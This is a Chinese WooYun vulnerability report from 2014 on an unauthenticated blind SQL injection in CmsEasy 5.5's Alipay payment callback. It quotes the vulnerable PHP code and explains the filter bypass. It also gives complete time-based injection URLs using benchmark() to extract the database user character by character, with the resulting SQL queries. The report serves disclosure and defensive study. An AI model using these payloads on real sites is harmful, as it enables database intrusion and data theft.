当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076669

漏洞标题:cmseasy 再次绕过前台sql盲注(无需登录)

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2014-09-21 12:46

修复时间:2014-12-20 12:48

公开时间:2014-12-20 12:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-21: 细节已通知厂商并且等待厂商处理中
2014-09-21: 厂商已经确认,细节仅向厂商公开
2014-09-24: 细节向第三方安全合作伙伴开放
2014-11-15: 细节向核心白帽子及相关领域专家公开
2014-11-25: 细节向普通白帽子公开
2014-12-05: 细节向实习白帽子公开
2014-12-20: 细节向公众公开

简要描述:

cmseasy 再次绕过前台sql盲注(无需登录)

详细说明:

我们直接进入:
archive_act.php:(611-628):

function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();


然后 这个函数就流向了$payobj->respond()
我们跟进去看看:
alipay.php:(76-97):

function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=|<|>|\')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
if (!pay::check_money($order_sn,$_GET['total_fee'])) {
return false;
}
if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {
pay::changeorders($order_sn,$_GET);
return true;
}else {
return false;
}


这里有一个逻辑错误,就是判断post,如果存在就把post里面的参数全部复制给get,在赋值的过程中对其进行了特殊字符的转换,因为后续传递的参数都是来自$_GET,那我们直接就通过GET参数进行传参数,这里就直接绕过去了,而且这里传递过来的参数完全没有防御
它过滤了什么呢,前面有一个一位已经说明:
WooYun: CmsEasy最新版5.5_UTF-8_20140802绕过四次补丁继续SQL注入
这里就不赘述,但是修复后的逻辑错误仍然可以进行sql注入的盲注猜测
除了以上所描述的,前台get参数不能输入什么
1.空格
2.=号
由于这里后台执行的是一个select操作,举一个例子吧
select * from table where a = '20140'
由于mysql可以字符串和任何东西相乘法,我们就可以这样去触发一个条件查询
select * from table where a = '20140'*(这里就是我们的条件判断)#'
根据以上的思路我们发送url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd
执行一次我们看看效果,从后台抓取sql语句:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0%27*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)' ORDER BY 1 desc limit 1
发现我们的#居然不见了,这个问题当然是浏览器url get请求的原因,他把后面当锚点了
那么我们在编码一下url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd
抓取sql后台查看:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0%27*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd' ORDER BY 1 desc limit 1
这里看到了吗,单引号,#号原封不动的encode,不过不要紧,浏览器默认做的事情,我们可以在后台curl发包,这里我直接用工具:

42.png


这里请求当然也就成功延迟(7秒钟)执行,如果觉得不明显可以改大benchmark里面的数字
我们抓取sql:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd' ORDER BY 1 desc limit 1
这个成功执行了,那我们怎么猜测数据:
'*if(ascii(substr((select/**/user()),1,1))in($NUM),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd
其中这个$NUM就是我们可以控制的
ok!............................

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-09-21 18:27

厂商回复:

感谢

最新状态:

暂无